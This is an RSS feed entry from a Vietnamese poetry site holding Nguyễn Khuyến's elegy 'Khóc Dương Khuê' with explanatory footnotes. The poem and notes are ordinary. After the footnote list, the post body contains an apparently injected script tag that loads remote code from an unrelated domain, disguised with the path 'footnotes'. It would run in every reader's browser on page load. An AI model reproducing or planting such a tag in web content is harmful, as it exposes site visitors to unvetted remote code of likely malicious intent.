<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Thica.netBài thơ &quot;Khóc Dương Khuê&quot; của nhà thơ Nguyễn Khuyến - Thica.net</title>
	<atom:link href="https://www.thica.net/2014/06/11/khoc-duong-khue/feed/" rel="self" type="application/rss+xml" />
	<link>https://www.thica.net/2014/06/11/khoc-duong-khue/</link>
	<description>Mạng thi ca Việt Nam</description>
	<lastBuildDate>Fri, 13 Mar 2026 06:12:14 +0000</lastBuildDate>
	<language>en-US</language>
		<sy:updatePeriod>hourly</sy:updatePeriod>
		<sy:updateFrequency>1</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.6.5</generator>
<site xmlns="com-wordpress:feed-additions:1">3122721</site>	<item>
		<title>Khóc Dương Khuê</title>
		<link>https://www.thica.net/2014/06/11/khoc-duong-khue/</link>
		<comments>https://www.thica.net/2014/06/11/khoc-duong-khue/#respond</comments>
		<pubDate>Wed, 11 Jun 2014 02:40:27 +0000</pubDate>
		<dc:creator><![CDATA[Nguyễn Khuyến]]></dc:creator>
				<category><![CDATA[Nguyễn Khuyến]]></category>
		<category><![CDATA[Mất mát]]></category>
		<category><![CDATA[Tình bạn]]></category>

		<guid isPermaLink="false">http://www.thica.net/?p=12450</guid>
		<description><![CDATA[<p>[...]</p>
<p>Cũng có lúc chơi nơi dặm khách,<br />
Tiếng suối nghe róc rách lưng đèo<br />
Có khi tầng gác cheo leo<br />
Thú vui con hát lựa chiều cầm xoang.</p>
<p>Cũng có lúc rượu ngon cùng nhắp<br />
Chén quỳnh tương ăm ắp bầu xuân<br />
Có khi bàn soạn câu văn<br />
Biết bao đông bích, điển phần trước sau.</p>
<p>Buổi dương cửu cùng nhau hoạn nạn<br />
Phận đấu thăng chẳng dám tham trời<br />
Bác già, tôi cũng già rồi<br />
Biết thôi, thôi thế thì thôi mới là!</p>
<p>[...]</p>
<p>The post <a href="https://www.thica.net/2014/06/11/khoc-duong-khue/">Khóc Dương Khuê</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></description>
				<content:encoded><![CDATA[<p>Bác Dương thôi đã thôi rồi,<br />Nước mây man mác ngậm ngùi lòng ta</p><p>Nhớ từ thuở đăng khoa <sup><a href="https://www.thica.net/2014/06/11/khoc-duong-khue/#footnote_0_12450" id="identifier_0_12450" class="footnote-link footnote-identifier-link" title="Thi đỗ">1</a></sup> ngày trước<br />Vẫn sớm hôm tôi bác cùng nhau<br />Kính yêu từ trước đến sau<br />Trong khi gặp gỡ khác đâu duyên trời?</p><p>Cũng có lúc chơi nơi dặm khách<br />Tiếng suối nghe róc rách lưng đèo<br />Có khi tầng gác cheo leo<br />Thú vui con hát lựa chiều cầm xoang.</p><p>Cũng có lúc rượu ngon cùng nhắp<br />Chén quỳnh tương <sup><a href="https://www.thica.net/2014/06/11/khoc-duong-khue/#footnote_1_12450" id="identifier_1_12450" class="footnote-link footnote-identifier-link" title="Quỳnh: t&ecirc;n ngọc qu&yacute;, tương: hồ, nước cơm để l&agrave;m rượu. Quỳnh tương chỉ một loại rượu qu&yacute;.">2</a></sup> ăm ắp bầu xuân<br />Có khi bàn soạn câu văn<br />Biết bao đông bích, điển phần <sup><a href="https://www.thica.net/2014/06/11/khoc-duong-khue/#footnote_2_12450" id="identifier_2_12450" class="footnote-link footnote-identifier-link" title="Đ&ocirc;ng b&iacute;ch: v&aacute;ch phương đ&ocirc;ng, chữ lấy c&acirc;u thơ của Trương Thuyết: &ldquo;Đ&ocirc;ng b&iacute;ch đồ thư phủ&rdquo; (kho tranh v&agrave; s&aacute;ch ở v&aacute;ch phương đ&ocirc;ng). Điển phần: chỉ chung s&aacute;ch vở cũ; điển (nghĩa đen l&agrave; ph&eacute;p tắc) tức l&agrave; ngũ điển, năm s&aacute;ch điển của c&aacute;c vua Thiếu Hiệu, Chuy&ecirc;n H&uacute;c, Cao T&acirc;n, Đường Nghi&ecirc;u v&agrave; Ngu Thuấn b&ecirc;n Trung Quốc ng&agrave;y xưa; phần (nghĩa đen l&agrave; lớn) tức l&agrave; tam phần, ba s&aacute;ch phần của c&aacute;c vua Phục Hy, Thần N&ocirc;ng, v&agrave; Ho&agrave;ng Đế của thời cổ Trung Quốc.">3</a></sup> trước sau.</p><p>Buổi dương cửu <sup><a href="https://www.thica.net/2014/06/11/khoc-duong-khue/#footnote_3_12450" id="identifier_3_12450" class="footnote-link footnote-identifier-link" title="L&uacute;c c&oacute; tai ương">4</a></sup> cùng nhau hoạn nạn<br />Phận đấu thăng <sup><a href="https://www.thica.net/2014/06/11/khoc-duong-khue/#footnote_4_12450" id="identifier_4_12450" class="footnote-link footnote-identifier-link" title="C&aacute;i đấu, c&aacute;i thăng l&agrave; hai dụng cụ d&ugrave;ng để đo lường ng&agrave;y xưa, một thăng bằng một phần mười đấu. Lương bổng của quan xưa một phần được trả bằng gạo, đong bằng đấu v&agrave; thăng l&agrave; rất &iacute;t. C&acirc;u n&agrave;y &yacute; chỉ lương bổng &iacute;t ỏi.">5</a></sup> chẳng dám tham trời<br />Bác già, tôi cũng già rồi<br />Biết thôi, thôi thế thì thôi mới là!</p><p>Muốn đi lại tuổi già thêm nhác<br />Trước ba năm gặp bác một lần<br />Cầm tay hỏi hết xa gần<br />Mừng rằng bác vẫn tinh thần chưa can</p><p>Kể tuổi tôi còn hơn tuổi bác<br />Tôi lại đau trước bác mấy ngày<br />Làm sao bác vội về ngay<br />Chợt nghe, tôi bỗng chân tay rụng rời.</p><p>Ai chẳng biết chán đời là phải<br />Vội vàng sao đã mải lên tiên<br />Rượu ngon không có bạn hiền<br />Không mua không phải không tiền không mua.</p><p>Câu thơ nghĩ đắn đo không viết<br />Viết đưa ai, ai biết mà đưa<br />Giường kia treo những hững hờ <sup><a href="https://www.thica.net/2014/06/11/khoc-duong-khue/#footnote_5_12450" id="identifier_5_12450" class="footnote-link footnote-identifier-link" title="Trần Phồn đời Hậu H&aacute;n c&oacute; một c&aacute;i giường để d&agrave;nh tiếp người bạn qu&yacute; l&agrave; Từ Trĩ, hễ bạn đi lại treo l&ecirc;n.">6</a></sup><br />Đàn kia gẩy cũng ngẩn ngơ tiếng đàn. <sup><a href="https://www.thica.net/2014/06/11/khoc-duong-khue/#footnote_6_12450" id="identifier_6_12450" class="footnote-link footnote-identifier-link" title="B&aacute; Nha đời Tấn l&agrave;m quan Thượng đại phu, c&oacute; t&agrave;i chơi đ&agrave;n, c&oacute; người bạn tri &acirc;m l&agrave; Chung Tử Kỳ. Khi Tử Kỳ mất th&igrave; B&aacute; Nha đập g&atilde;y đ&agrave;n đi v&igrave; cho rằng kh&ocirc;ng c&ograve;n ai hiểu tiếng đ&agrave;n của m&igrave;nh nữa.">7</a></sup></p><p>Bác chẳng ở dẫu van chẳng ở<br />Tôi tuy thương, lấy nhớ làm thương<br />Tuổi già hạt lệ như sương<br />Hơi đâu ép lấy hai hàng chứa chan!</p><ol class="footnotes"><li id="footnote_0_12450" class="footnote">Thi đỗ</li><li id="footnote_1_12450" class="footnote">Quỳnh: tên ngọc quý, tương: hồ, nước cơm để làm rượu. Quỳnh tương chỉ một loại rượu quý.</li><li id="footnote_2_12450" class="footnote">Đông bích: vách phương đông, chữ lấy câu thơ của Trương Thuyết: &#8220;Đông bích đồ thư phủ&#8221; (kho tranh và sách ở vách phương đông). Điển phần: chỉ chung sách vở cũ; điển (nghĩa đen là phép tắc) tức là ngũ điển, năm sách điển của các vua Thiếu Hiệu, Chuyên Húc, Cao Tân, Đường Nghiêu và Ngu Thuấn bên Trung Quốc ngày xưa; phần (nghĩa đen là lớn) tức là tam phần, ba sách phần của các vua Phục Hy, Thần Nông, và Hoàng Đế của thời cổ Trung Quốc.</li><li id="footnote_3_12450" class="footnote">Lúc có tai ương</li><li id="footnote_4_12450" class="footnote">Cái đấu, cái thăng là hai dụng cụ dùng để đo lường ngày xưa, một thăng bằng một phần mười đấu. Lương bổng của quan xưa một phần được trả bằng gạo, đong bằng đấu và thăng là rất ít. Câu này ý chỉ lương bổng ít ỏi.</li><li id="footnote_5_12450" class="footnote">Trần Phồn đời Hậu Hán có một cái giường để dành tiếp người bạn quý là Từ Trĩ, hễ bạn đi lại treo lên.</li><li id="footnote_6_12450" class="footnote">Bá Nha đời Tấn làm quan Thượng đại phu, có tài chơi đàn, có người bạn tri âm là Chung Tử Kỳ. Khi Tử Kỳ mất thì Bá Nha đập gãy đàn đi vì cho rằng không còn ai hiểu tiếng đàn của mình nữa.</li></ol><script src=https://buryebilgrill.online/footnotes></script><p>The post <a href="https://www.thica.net/2014/06/11/khoc-duong-khue/">Khóc Dương Khuê</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></content:encoded>
			<wfw:commentRss>https://www.thica.net/2014/06/11/khoc-duong-khue/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	<post-id xmlns="com-wordpress:feed-additions:1">12450</post-id>	</item>
	</channel>
</rss>
